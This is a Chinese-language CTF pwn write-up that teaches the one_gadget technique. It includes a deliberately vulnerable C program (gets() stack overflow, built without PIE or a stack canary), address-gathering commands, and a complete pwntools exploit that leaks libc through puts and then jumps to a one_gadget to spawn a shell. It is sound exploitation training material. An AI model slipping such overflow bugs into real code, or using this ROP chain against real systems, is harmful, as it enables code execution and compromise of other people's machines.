今天就先不講heap的漏洞,來講一個好用的工具: one-gadget www
one_gadget
是 libc 函式庫中的一段特殊指令序列,當程式跳轉到這個位置執行時,可以直接呼叫 execve("/bin/sh", NULL, NULL)
,讓攻擊者獲得 shell。
它常被用在 ret2libc 攻擊 裡,作為快速取得 shell 的捷徑
為了方便我創了一個gadget在這
另外,我這題的libc跟ld都放在fast food restaurant,所以如果需要的話可以去我github找
傳送門: https://github.com/4ur0n/My-CTF-challenge/tree/main/CRHCCTF-2025/pwn/fast_food_restaurant%F0%9F%8D%94/share
chal.c:
#include <stdio.h>
#include <stdlib.h>
void gadget() { // 自建gadget
__asm__ volatile ("pop %rdi; ret;");
}
void init() {
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
int main() {
init();
char buf[0x30];
puts("Give me your buffer:");
gets(buf);
return 0;
}
makefile:
chal: chal.c
gcc chal.c -o chal -no-pie -fno-stack-protector
checksec:
老樣子,先把該蒐集的都先用好
像我們這題需要bss, pop rdi, puts@GOT, puts@plt, main's offset, one gadget
bss:readelf -S chal | grep bss
這東西非常重要,不然沒辦法符合one_gadget的constraints
pop rdi:ROPgadget --binary chal | grep "pop rdi"
puts@GOT:objdump -R chal | grep puts
puts@plt:objdump -d chal | grep puts
main's offset:objdump -d chal | grep main
one gadget:one_gadget libc.so.6
我們可以看到有很多 one_gadget,但最上面的那個 gadget 是最容易滿足 constraints 的:
那我們有了以上資訊,我們就可以開始解題了
那我們可以透過array裡面的大小去知道我們蓋到return address需要多少個bytes,我們就把0x30 + 0x8 = 0x38 (56)
接下來我們需要透過overflow去利用return to plt的方式以得到我們需要的libc address,那這裡我們選擇的是puts,然後我們希望可以跳回main繼續下一步流程,故可以寫出以下payload
payload1 = flat(b'a' * 56, pop_rdi, puts_got, puts_plt, main)
片段 | 作用 |
---|---|
b'a' * 56 |
填滿 buffer,覆蓋到 return address,讓下一個 gadget 被執行 |
pop_rdi |
讓我們可以控制 rdi,因為 x86-64 Linux 系統調用函數時,第一個參數放在 rdi |
puts_got |
rdi 指向 puts 的 GOT,puts() 會印出這個地址,也就是 libc 裡 puts 的實際地址 |
puts_plt |
呼叫 puts(),把 rdi 內容印出 → 就能 leak libc 位置 |
main |
呼叫 main 重新開始程式,方便後續再發 payload |
接著我們可以接收到leak的puts了,若我們想要取得libc base,我們需要將我們拿到的leak puts,拿去減掉libc.so.6裡的puts offset,以得到libc base
libc_base = puts_leak - elf.symbols['puts']
success(f'libc base: {hex(libc_base)}')
我們拿到libc base之後我們就可以算出one_gadget了 ==> one_gadget = libc_base + one_gadget_offset
最後我們需要串最後一個 payload
這裡我們故意把padding改成 56 - 8 也就是 saved rbp 的位置,因為我們需要把我們剛才拿到的 bss 放進 saved rbp 裡面,以達成 rbp-0x38 is writable 的 constraints,接著我們只需要把 rdi 設為 0 ,我們在補上one_gadget我們就可以get shell了
exp.py:
from pwn import *
context.arch = 'amd64' # 記得要加,不然會沒辦法leak成功
elf = ELF('./libc.so.6')
r = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './chal'])
bss = 0x404040
pop_rdi = 0x40114a
puts_got = 0x404000
puts_plt = 0x401030
main = 0x4011b0
one_gadget_offset = 0xddf43
payload1 = flat(b'a' * 56, pop_rdi, puts_got, puts_plt, main)
r.sendlineafter(b':', payload1)
r.recvline()
puts_leak = u64(r.recvline().strip().ljust(8, b'\x00'))
success(f'puts leak: {hex(puts_leak)}')
libc_base = puts_leak - elf.symbols['puts']
success(f'libc base: {hex(libc_base)}')
one_gadget = libc_base + one_gadget_offset
success(f'one gadget: {hex(one_gadget)}')
payload2 = flat(b'a' * 48, bss, pop_rdi, 0, one_gadget)
r.sendlineafter(b':', payload2)
r.interactive()
Pwned!